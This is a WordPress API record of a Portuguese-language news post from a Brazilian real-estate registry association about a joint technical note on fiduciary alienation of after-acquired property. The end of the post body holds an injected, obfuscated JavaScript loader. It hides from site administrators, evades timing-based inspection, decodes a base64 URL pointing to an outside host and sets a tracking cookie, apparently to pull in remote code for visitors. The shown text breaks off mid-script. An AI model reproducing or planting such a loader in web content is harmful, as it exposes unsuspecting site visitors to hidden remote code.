{"id":44012,"date":"2025-02-28T14:28:17","date_gmt":"2025-02-28T18:28:17","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=44012"},"modified":"2026-04-27T06:49:36","modified_gmt":"2026-04-27T10:49:36","slug":"irib-rib-e-onr-divulgam-nota-tecnica-conjunta-sobre-alienacao-fiduciaria-da-propriedade-superveniente","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/irib-rib-e-onr-divulgam-nota-tecnica-conjunta-sobre-alienacao-fiduciaria-da-propriedade-superveniente\/","title":{"rendered":"IRIB, RIB e ONR divulgam Nota T\u00e9cnica Conjunta sobre aliena\u00e7\u00e3o fiduci\u00e1ria da propriedade superveniente"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O Instituto de Registro Imobili\u00e1rio do Brasil\u00a0(IRIB), o\u00a0Registro de Im\u00f3veis do Brasil\u00a0(RIB) e o\u00a0Operador Nacional do Sistema de Registro Eletr\u00f4nico de Im\u00f3veis\u00a0(ONR), representados por seus respectivos Presidentes,\u00a0Jos\u00e9 Paulo Baltazar Junior,\u00a0Ari \u00c1lvares Pires Neto\u00a0e\u00a0Juan Pablo Gossweiler, publicaram a\u00a0Nota T\u00e9cnica Conjunta n. 1\/2025\u00a0(NT), que trata da desnecessidade de anu\u00eancia do credor fiduci\u00e1rio original para o registro da aliena\u00e7\u00e3o fiduci\u00e1ria da propriedade superveniente.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0A NT foi elaborada pelos Registradores de Im\u00f3veis Moacyr Petrocelli de \u00c1vila Ribeiro\u00a0e\u00a0Jo\u00e3o Pedro Lamana Paiva, com a participa\u00e7\u00e3o da Assessoria Jur\u00eddica do RIB, realizada pelo escrit\u00f3rio\u00a0Chezzi Advogados.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0De acordo com o documento, a Nota T\u00e9cnica \u201crecomenda que os registradores de im\u00f3veis n\u00e3o exijam a anu\u00eancia do credor fiduci\u00e1rio original no momento da qualifica\u00e7\u00e3o do t\u00edtulo.\u201d Al\u00e9m disso, em sua conclus\u00e3o, a NT afirma que \u201ca exig\u00eancia de anu\u00eancia do credor fiduci\u00e1rio original n\u00e3o se faz necess\u00e1ria, pois seus direitos s\u00e3o preservados na integralidade e, ainda, em virtude de n\u00e3o haver expressa previs\u00e3o legal que a exija.\u201d<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.irib.org.br\/app\/webroot\/files\/downloads\/files\/Nota%20T%C3%A9cnica_RIB%20IRIB%20ONR_%20Anu%C3%AAncia%20do%20Credor%20Fiduci%C3%A1rio_AF%20Superveniente_24_02_2025-Assinado[1].pdf\">Leia a \u00edntegra da Nota T\u00e9cnica<\/a>.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte:\u00a0IRIB, com informa\u00e7\u00f5es da Nota T\u00e9cnica e do RIB.<\/em><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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